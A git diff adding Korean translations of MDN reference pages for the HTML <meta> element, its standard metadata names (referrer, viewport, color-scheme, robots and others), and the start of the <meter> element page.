+ <td>메타데이터 콘텐츠. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code>이 존재하면 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a> 및 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th>가능한 콘텐츠</th>
+ <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th>태그 생략</th>
+ <td>빈 요소이므로 여는 태그는 존재해야 하고 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th>가능한 부모 요소</th>
+ <td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code>인 경우 {{htmlelement("head")}} 요소. {{htmlattrxref("http-equiv", "meta")}}가 인코딩 선언이 아닌 경우 <code>&lt;head&gt;</code> 내의 {{htmlelement("noscript")}} 요소도 가능합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th>DOM 인터페이스</th>
+ <td>{{domxref("HTMLMetaElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>meta</code> 요소가 제공하는 메타데이터는 다음 네 유형 중 하나입니다.</p>
+
+<ul>
+ <li>{{htmlattrxref("name", "meta")}} 특성을 지정하면 전체 페이지에 적용되는 "문서 레벨 메타데이터"를 제공합니다.</li>
+ <li>{{htmlattrxref("http-equiv", "meta")}} 특성을 지정하면 유사한 이름의 HTTP 헤더가 제공하는 정보와 동일한 "프래그마 지시문"이 됩니다.</li>
+ <li>{{htmlattrxref("charset", "meta")}} 특성을 지정하면 문서 인코딩에 사용한 문자 인코딩을 나타내는 "문자 집합 선언"이 됩니다.</li>
+ <li>{{htmlattrxref("itemprop")}} 특성을 지정하면 "사용자 정의 메타데이터"를 제공합니다.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{htmlattrxref("name", "meta")}} 특성은 <code>&lt;meta&gt;</code> 요소에 대해 특정한 의미를 가집니다. 하나의 <code>&lt;meta&gt;</code> 요소에서, {{htmlattrxref("itemprop", "meta")}} 특성을 {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} 또는 {{htmlattrxref("charset", "meta")}} 특성과 함께 설정할 수 없습니다.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}</dt>
+ <dd>페이지의 문자 인코딩을 선언합니다. 이 특성이 존재할 경우, 그 값은 반드시 문자열 "<code>utf-8</code>"의 대소문자 구분 없는 {{glossary("ASCII")}} 표현이어야 합니다.</dd>
+ <dt>{{htmlattrdef("content")}}</dt>
+ <dd>{{htmlattrxref("http-equiv", "meta")}} 또는 {{htmlattrxref("name", "meta")}} 특성의 값을 담습니다.</dd>
+ <dt>{{htmlattrdef("http-equiv")}}</dt>
+ <dd>
+ <p>프래그마 지시문을 정의합니다. 특성의 이름(<code><strong>http-equiv</strong>(alent)</code>)에서 알 수 있듯이, 가능한 값은 특정 HTTP 헤더입니다.</p>
+
+ <ul>
+ <li><code>content-security-policy</code>
+
+ <p>현재 페이지의 <a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy">콘텐츠 정책</a>을 정의할 수 있습니다. 대부분의 콘텐츠 정책은 허용하는 서버 출처와 스크립트 엔드포인트를 지정해 사이트 간 스크립트 공격 방어에 도움을 줍니다.</p>
+ </li>
+ <li><code>content-type</code>
+ <p>지정할 경우, <code>content</code> 특성의 값은 반드시 "<code>text/html; charset=utf-8</code>"이어야 합니다. <strong>참고:</strong> <code>text/html</code> <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>으로 제공하는 문서에서만 사용할 수 있으며, XML MIME 유형의 문서에서는 사용할 수 없습니다.</p>
+ </li>
+ <li><code>default-style</code>
+ <p>기본 <a href="/ko/docs/Web/CSS">CSS 스타일 시트</a> 세트의 이름을 지정합니다.</p>
+ </li>
+ <li><code>x-ua-compatible</code>
+ <p>지정할 경우, <code>content</code> 특성의 값은 반드시 "<code>IE=edge</code>"여야 합니다. 사용자 에이전트는 이 프래그마를 무시해야 합니다.</p>
+ </li>
+ <li><code>refresh</code>
+ <div>다음을 지정합니다.</div>
+
+ <ul>
+ <li>{{htmlattrxref("content", "meta")}} 특성에 양의 정수 값을 설정한 경우, 페이지를 다시 불러오기 전까지의 초 단위 대기시간.</li>
+ <li>{{htmlattrxref("content", "meta")}} 특성이 양의 정수 값을 가지고 그 뒤를 문자열 <code>;url=</code>과 유효한 URL이 뒤따른다면, 해당 URL로 이동하기 전까지의 초 단위 대기시간.</li>
+ </ul>
+
+ <h5 id="접근성_고려사항">접근성 고려사항</h5>
+
+ <div><code>refresh</code> 값을 지정한 페이지의 경우 새로고침 사이 간격이 너무 짧을 우려가 있습니다. 스크린 리더 등의 보조 기술로 탐색하는 사용자는 자동 새로고침 이전에 페이지의 내용을 읽고 이해하지 못할 수 있습니다. 또한 저시력 사용자에게 있어, 갑작스럽고 사전 안내도 없는 콘텐츠 업데이트는 어지러울 수 있습니다.</div>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_—_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.1 explanations</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-required-behaviors.html">Understanding Success Criterion 2.2.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html">Understanding Success Criterion 2.2.4 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/consistent-behavior-no-extreme-changes-context.html">Understanding Success Criterion 3.2.5 | W3C Understanding WCAG 2.0</a></li>
+ </ul>
+ </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p><code>name</code>과 <code>content</code> 특성을 함께 사용하면 문서의 메타데이터를 이름-값 쌍으로 제공할 수 있습니다. <code>name</code>은 이름, <code>content</code>는 값을 담당합니다.</p>
+
+ <p><a href="/ko/docs/Web/HTML/Element/meta/name">표준 메타데이터 이름</a> 문서에서 HTML 명세에 포함된 표준 메타데이터 목록을 살펴보세요.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;meta charset="utf-8"&gt;
+
+&lt;!-- 3초 후 리다이렉트 --&gt;
+&lt;meta http-equiv="refresh" content="3;url=https://www.mozilla.org"&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-meta-element', '&lt;meta&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Added <code>itemprop</code> attribute</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("html.elements.meta")}}</div>
diff --git a/files/ko/web/html/element/meta/name/index.html b/files/ko/web/html/element/meta/name/index.html
new file mode 100644
index 0000000000..76333202b1
--- /dev/null
+++ b/files/ko/web/html/element/meta/name/index.html
@@ -0,0 +1,312 @@
+---
+title: 표준 메타데이터 이름
+slug: Web/HTML/Element/meta/name
+tags:
+ - Attribute
+ - HTML
+ - HTML document metadata
+ - Reference
+ - metadata
+ - 메타데이터
+translation_of: Web/HTML/Element/meta/name
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{htmlelement("meta")}} 요소는 {{htmlattrxref("name", "meta")}} 특성을 메타데이터 이름으로, {{htmlattrxref("content", "meta")}} 특성을 값으로 하여 문서 메타데이터를 이름-값 쌍의 형태로 제공할 때 사용할 수 있습니다.</span></p>
+
+<h3 id="HTML_명세가_정의하는_표준_메타데이터_이름">HTML 명세가 정의하는 표준 메타데이터 이름</h3>
+
+<p>HTML 명세는 다음과 같은 표준 메타데이터 이름을 정의하고 있습니다.</p>
+
+<ul>
+ <li>
+ <p><code>application-name</code>: 웹 페이지에서 구동 중인 애플리케이션의 이름.</p>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+ <li>브라우저가 이 값을 사용해 애플리케이션을 식별할 수 있습니다. {{htmlelement("title")}} 요소 역시 보통 애플리케이션 이름을 포함하지만, <code>application-name</code>과는 달리 문서 이름이나 상태 등 다른 정보도 존재할 수 있다는 점에서 차이가 있습니다.</li>
+ <li>단순한 웹 페이지에서는 <code>application-name</code>을 지정하지 말아야 합니다.</li>
+ </ul>
+ </div>
+ </li>
+ <li><code>author</code>: 문서 저작자.</li>
+ <li><code>description</code>: 페이지에 대한 짧고 정확한 요약. Firefox, Opera 등 여러 브라우저는 즐겨찾기 페이지의 기본 설명 값으로 <code>description</code> 메타데이터를 사용합니다.</li>
+ <li><code>generator</code>: 페이지를 생성한 소프트웨어의 식별자.</li>
+ <li><code>keywords</code>: 페이지의 콘텐츠와 관련된, 쉼표로 구분한 키워드 목록.</li>
+ <li><code>referrer</code>: 문서에서 시작하는 요청의 HTTP {{httpheader("Referer")}} 헤더를 아래 표와 같이 통제합니다.
+ <table class="standard-table">
+ <caption><code>&lt;meta name="referrer"&gt;</code> 특성에 대한 <code>content</code> 특성의 값</caption>
+ <tbody>
+ <tr>
+ <td><code>no-referrer</code></td>
+ <td>HTTP {{httpheader("Referer")}} 헤더를 전송하지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><code>origin</code></td>
+ <td>문서의 {{glossary("origin", "출처")}}를 전송합니다.</td>
+ </tr>
+ <tr>
+ <td><code>no-referrer-when-downgrade</code></td>
+ <td>목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 전체 URL을 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다. 기본 동작 방식입니다.</td>
+ </tr>
+ <tr>
+ <td><code>origin-when-cross-origin</code></td>
+ <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 출처만 전송합니다.</td>
+ </tr>
+ <tr>
+ <td><code>same-origin</code></td>
+ <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 교차 출처 요청에는 아무 레퍼러 정보도 보내지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><code>strict-origin</code></td>
+ <td>목적지가 현재 문서와 동일하거나 더 높은(HTTP(S)→HTTPS) 보안 수준을 가진 경우 출처를 전송하고, 더 취약(HTTPS→HTTP)한 경우 전송하지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><code>strict-origin-when-cross-origin</code></td>
+ <td>동일 출처 요청에는 매개변수를 제거한 전체 URL을 전송합니다. 목적지가 현재 문서와 동일하거나 더 높은 보안 수준(HTTP(S)→HTTPS)을 가진 경우 자신의 출처를 전송합니다. 그 외의 경우 아무 레퍼러 정보도 보내지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><code>unsafe-URL</code></td>
+ <td>동일 출처와 교차 출처 요청 모두에 대해서 전체 URL을 전송합니다.</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+ <li><code>&lt;meta name="referrer"&gt;</code>의 값을 {{domxref("Document.write", "document.write()")}} 또는 {{domxref("Node.appendChild", "appendChild()")}}를 사용해 동적으로 삽입할 경우 레퍼러 동작을 예측할 수 없습니다.</li>
+ <li>여러 정책이 서로 충돌할 경우에는 <code>no-referrer</code> 정책을 사용합니다.</li>
+ </ul>
+ </div>
+ </li>
+ <li><code><a href="/ko/docs/Web/HTML/Element/meta/name/theme-color">theme-color</a></code>: 사용자 에이전트가 페이지 혹은 주위의 사용자 인터페이스를 표시할 때 사용해야 할 색상에 대한 힌트. <code>content</code> 특성은 유효한 CSS {{cssxref("&lt;color&gt;")}} 색상을 포함해야 합니다.</li>
+</ul>
+
+<h3 id="다른_명세가_정의하는_표준_메타데이터_이름">다른 명세가 정의하는 표준 메타데이터 이름</h3>
+
+<p>CSS Color Adjustment 명세는 다음과 같은 메타데이터 이름을 정의합니다.</p>
+
+<ul>
+ <li>
+ <p><code>color-scheme</code>: 문서와 호환되는 하나 이상의 색채 조합.</p>
+
+ <p>브라우저는 이 정보에 더해 자신과 장치의 사용자 설정을 함께 사용해 배경, 전경, 양식 컨트롤, 스크롤 바 등 대부분의 색상을 결정합니다. <code>&lt;meta name="color-scheme"&gt;</code>의 주 용도는 문서의 "다크 모드"와 "라이트 모드"중 호환 가능한 조합 및 둘 중 선호하는 쪽을 나타내는 것입니다.</p>
+
+ <p><code>color-scheme</code>과 사용 가능한 {{htmlattrxref("content", "meta")}} 특성의 값은 다음과 같습니다.</p>
+
+ <dl>
+ <dt><code>normal</code></dt>
+ <dd>문서가 특별한 색채 조합을 알지 못합니다. 렌더링 시 기본 색상 팔레트를 사용해야 합니다.</dd>
+ <dt>[<code>light</code> | <code>dark</code>]+</dt>
+ <dd>문서와 호환되는 하나 이상의 색채 조합. 동일한 색채 조합을 여러 번 지정하더라도 한 번 지정한 것과 다르지 않습니다. 여러 색채 조합을 명시하는 경우 문서는 맨 앞 항목을 선호하지만, 사용자가 원할 경우 다른 조합도 사용할 수 있음을 나타냅니다.</dd>
+ <dt><code>only light</code></dt>
+ <dd>문서가 오직 라이트 모드, 즉 밝은 배경과 어두운 전경색만 지원함을 나타냅니다. 명세에 따라 <code>only dark</code>는 유효하지 않습니다. 완전히 호환되지 않음에도 불구하고 문서를 다크 모드로만 렌더링 할 경우 콘텐츠를 읽을 수 없기 때문입니다. 지정하지 않은 경우, 모든 주요 브라우저는 라이트 모드를 기본값으로 사용합니다.</dd>
+ </dl>
+
+ <p>예를 들어, 문서가 다크 모드를 선호하나 라이트 모드도 지원 가능하다는 것을 알리려면 다음과 같이 작성하세요.</p>
+
+ <pre class="brush: html notranslate">&lt;meta name="color-scheme" content="dark light"&gt;</pre>
+
+ <p><code>name="color-scheme"</code>은 문서 전체의 선호 및 가능한 색채 조합을 지정한다면, CSS {{cssxref("color-scheme")}} 속성은 개별 요소 단위로 지정합니다. CSS {{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}} 미디어 기능을 사용하면 스타일이 현재 색채 조합에 적응하도록 작성할 수도 있습니다.</p>
+ </li>
+</ul>
+
+<p>CSS Device Adaptation 명세는 다음과 같은 메타데이터 이름을 정의합니다.</p>
+
+<ul>
+ <li>
+ <p><code>viewport</code>: {{glossary("viewport", "뷰포트")}}의 초기 사이즈에 대한 힌트. 모바일 장치에서만 사용합니다.</p>
+
+ <table class="fullwidth-table">
+ <caption><code>&lt;meta name="viewport"&gt;</code>의 값</caption>
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">가능한 하위 값</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>width</code></td>
+ <td>양의 정수 또는 <code>device-width</code></td>
+ <td>웹 사이트를 렌더링 하고자 하는 뷰포트 너비를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>height</code></td>
+ <td>양의 정수 또는 <code>device-height</code></td>
+ <td>웹 사이트를 렌더링 하고자 하는 뷰포트 높이를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>initial-scale</code></td>
+ <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+ <td>장치 너비(세로 모드에서는 <code>device-width</code>, 가로 모드에서는 <code>device-height</code>)와 뷰포트 너비의 비율을 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>maximum-scale</code></td>
+ <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+ <td>가능한 최대 확대 비율을 정의합니다. <code>minimum-scale</code> 이상이어야 하며, 미만으로 지정한 경우의 동작은 정의되지 않았습니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+ </tr>
+ <tr>
+ <td><code>minimum-scale</code></td>
+ <td><code>0.0</code>과 <code>10.0</code> 사이의 수</td>
+ <td>가능한 최소 확대 비율을 정의합니다. <code>maximum-scale</code> 이하여야 하며, 초과한 값을 지정한 경우의 동작은 정의되지 않았습니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+ </tr>
+ <tr>
+ <td><code>user-scalable</code></td>
+ <td><code>yes</code> 또는 <code>no</code></td>
+ <td><code>no</code>인 경우 사용자가 웹 페이지를 확대할 수 없습니다. 기본값은 <code>yes</code>입니다. 브라우저 설정에 따라 무시할 수 있고, iOS10 이상은 기본값으로 무시합니다.</td>
+ </tr>
+ <tr>
+ <td><code>viewport-fit</code></td>
+ <td><code>auto</code>, <code>contain</code>, <code>cover</code></td>
+ <td>
+ <p><code>auto</code> 값은 초기 뷰포트 레이아웃에 영향을 주지 않으며, 전체 웹 페이지를 볼 수 있습니다.</p>
+
+ <p><code>contain</code> 값은 디스플레이 내에 맞출 수 있는 가장 큰 사각형에 맞춰 뷰포트의 크기를 조절합니다.</p>
+
+ <p><code>cover</code> 값은 뷰포트의 크기를 조절해 디스플레이 전체를 채웁니다. <a href="/ko/docs/Web/CSS/env">안전 영역</a> 환경 변수를 사용해 중요한 콘텐츠가 화면 밖에 놓이는 불상사가 없도록 하는 것이 좋습니다.</p>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+ <li>비록 표준은 아니지만, <code>viewport</code>의 사실상 표준적인 위치로 인해 대부분의 모바일 브라우저가 선언을 준수합니다.</li>
+ <li>장치와 브라우저마다 기본값이 다를 수 있습니다.</li>
+ </ul>
+ </div>
+
+ <h5 id="Accessibility_concerns_with_viewport_scaling">Accessibility concerns with viewport scaling</h5>
+
+ <div><code>user-scalable</code>을 <code>no</code>로 지정해 확대 기능을 비활성화하면 저시력 사용자가 페이지의 내용을 읽고 이해하는 것을 방해합니다.</div>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+ </ul>
+
+ <h5 id="같이_보기">같이 보기</h5>
+
+ <p>CSS {{cssxref("@viewport")}} @-규칙</p>
+ </li>
+</ul>
+
+<h3 id="다른_메타데이터_이름">다른 메타데이터 이름</h3>
+
+<p><a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions 페이지</a>는 거대한 수의 비표준 메타데이터 목록을 포함합니다. 그러나 다음 메타데이터 이름을 포함한 일부 항목은 실제로도 꽤 자주 사용하고 있습니다.</p>
+
+<ul>
+ <li><code>creator</code>: 단체, 협회 등 문서 저작자의 이름. 다수의 저작자가 존재할 경우 다수의 {{HTMLElement("meta")}} 요소를 사용해야 합니다.</li>
+ <li><code>googlebot</code>은 <code>robots</code>의 동의어로, Googlebot(Google의 색인 크롤러)만 준수합니다..</li>
+ <li><code>publisher</code>: 문서를 출판한 자의 이름.</li>
+ <li><code>robots</code>: 협조적인 크롤러, 또는 "로봇"의 동작을 지정합니다. 아래 표의 항목을 쉼표로 구분한 목록을 값으로 사용합니다
+ <table class="standard-table">
+ <caption><code>&lt;meta name="robots"&gt;</code>의 값</caption>
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">설명</th>
+ <th scope="col">사용처</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>index</code></td>
+ <td>크롤러가 페이지를 색인할 수 있습니다. (기본값)</td>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <td><code>noindex</code></td>
+ <td>크롤러가 페이지를 색인하지 않도록 요청합니다.</td>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <td><code>follow</code></td>
+ <td>크롤러가 페이지 내의 링크를 따라갈 수 있습니다. (기본값)</td>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <td><code>nofollow</code></td>
+ <td>크롤러가 페이지 내의 링크를 따라가지 않도록 요청합니다.</td>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <td><code>all</code></td>
+ <td><code>index, follow</code>와 동일합니다.</td>
+ <td><a class="external" href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+ </tr>
+ <tr>
+ <td><code>none</code></td>
+ <td><code>noindex, nofollow</code>와 동일합니다.</td>
+ <td><a class="external" href="https://support.google.com/webmasters/answer/79812">Google</a></td>
+ </tr>
+ <tr>
+ <td><code>noarchive</code></td>
+ <td>크롤러가 페이지를 캐시에 포함하지 않도록 요청합니다.</td>
+ <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+ </tr>
+ <tr>
+ <td><code>nosnippet</code></td>
+ <td>검색 엔진 결과에 어떤 설명도 표시하지 않도록 지정합니다.</td>
+ <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a>, <a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+ </tr>
+ <tr>
+ <td><code>noimageindex</code></td>
+ <td>크롤러가 페이지 이미지를 색인하지 않도록 요청합니다.</td>
+ <td><a class="external" href="https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag#valid-indexing--serving-directives">Google</a></td>
+ </tr>
+ <tr>
+ <td><code>nocache</code></td>
+ <td><code>noarchive</code>와 동일합니다.</td>
+ <td><a class="external" href="https://www.bing.com/webmaster/help/which-robots-metatags-does-bing-support-5198d240">Bing</a></td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+ <li>협조적인 크롤러만 규칙을 존중합니다. 이메일 주소 수집기가 요청을 따를 것이라고 기대하지 마세요.</li>
+ <li>메타 태그의 규칙을 읽기 위해선 크롤러가 페이지에 접근을 하긴 해야 합니다. 대역폭을 아끼려면 {{glossary("robots.txt")}}를 사용하세요.</li>
+ <li>이미 등록된 페이지를 검색 결과에서 제거할 수단으로 <code>noindex</code>를 사용하는 것도 가능하지만, 수정 후 크롤러가 페이지에 재방문해야만 반영되므로 <code>robots.txt</code> 파일이 방문을 방지하고 있지는 않은지 확인하세요.</li>
+ <li><code>index</code>와 <code>noindex</code>, <code>follow</code>와 <code>nofollow</code>처럼 특정 값은 서로 배타적입니다. 그러나 같은 페이지에서 동시에 사용한 경우 크롤러의 행동은 정의되지 않았으며 둘 중 어느 것이라도 취할 수 있습니다.</li>
+ <li>Google과 Bing 등 일부 크롤러는 위의 값을 HTTP <code>X-Robot-Tags</code> 헤더에 추가해도 인식하므로, 이미지처럼 HTML이 아닌 문서에서도 동일한 설정을 적용할 수 있습니다.</li>
+ </ul>
+ </div>
+ </li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#standard-metadata-names', 'standard metadata names')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS Color Adjust', '#color-scheme-meta', 'the "color-scheme" metadata name')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Device', '#viewport-meta', 'the "viewport" metadata name')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-meta', 'the "referrer" metadata name')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.meta.name")}}</p>
diff --git a/files/ko/web/html/element/meter/index.html b/files/ko/web/html/element/meter/index.html
new file mode 100644
index 0000000000..c2f6a8fcbf
--- /dev/null
+++ b/files/ko/web/html/element/meter/index.html
@@ -0,0 +1,142 @@
+---
+title: <meter>
+slug: Web/HTML/Element/meter
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/meter
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;meter&gt;</code> 요소</strong>는 특정 범위 내에서의 스칼라 값, 또는 백분율 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/meter.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 <code>&lt;meter&gt;</code> 요소는 사용할 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLMeterElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>현재의 값. 최소와 최댓값(<code>min</code>과 <code>max</code> 특성)을 지정한 경우, 그 사이여야 합니다. 지정하지 않았거나 잘못된 값인 경우 <code>0</code>으로 간주합니다. 지정했으나 범위 바깥인 경우, 범위에 맞춰 나머지 값을 버립니다.
+ <div class="note"><strong>참고: </strong><code>value</code>가 <code>0</code> 이상 <code>1</code> 이하가 아닌 이상, <code>min</code>과 <code>max</code>를 정의해 <code>value</code> 값이 그 안에 들어가도록 해야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("min")}}</dt>
+ <dd>측정 범위의 가능한 최솟값. 지정할 경우 최댓값(<code>max</code> 특성) 미만이어야 합니다. 지정하지 않은 경우 <code>0</code>입니다.</dd>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>측정 범위의 가능한 최댓값. 지정할 경우 최솟값(<code>min</code> 특성)을 초과해야 합니다. 지정하지 않은 경우 <code>1</code>입니다.</dd>
+ <dt>{{htmlattrdef("low")}}</dt>
+ <dd>측정 범위 중 낮은 범위의 최댓값. 지정할 경우 전체 범위 최솟값(<code>min</code> 특성)을 초과해야 하며, 높은 범위 최댓값과 전체 범위 최댓값(각각 <code>high</code>와 <code>max</code> 특성) 미만이어야 합니다. 지정하지 않았거나 전체 범위 최솟값 미만인 경우, 전체 범위 최솟값과 같아집니다.</dd>
+ <dt>{{htmlattrdef("high")}}</dt>
+ <dd>측정 범위 중 높은 범위의 최솟값. 지정할 경우 전체 범위 최댓값(<code>max</code> 특성) 미만이어야 하며, 낮은 범위의 최댓값과 전체 범위 최솟값(각각 <code>low</code>와 <code>min</code> 특성)을 초과해야 합니다. 지정하지 않았거나 전체 범위 최댓값을 초과할 경우 전체 범위 최댓값과 같아집니다.</dd>
+ <dt>{{htmlattrdef("optimum")}}</dt>
+ <dd>이상적인 값. <code>min</code>과 <code>max</code> 특성으로 정의한 범위 내에 위치해야 합니다. <code>low</code>와 <code>high</code> 특성을 함께 사용한 경우, <code>optimum</code>은 어느 범위가 이상적인지 나타냅니다. 예를 들어, 값이 <code>min</code>과 <code>low</code> 사이에 위치한 경우, 측정 범위 중 낮은 범위가 이상적인 범위입니다.</dd>
